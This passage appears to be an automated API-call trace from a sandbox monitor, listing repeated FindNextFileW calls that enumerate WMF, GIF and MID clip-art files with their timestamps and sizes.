ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0076.112] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0076.113] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0076.238] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0076.239] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, 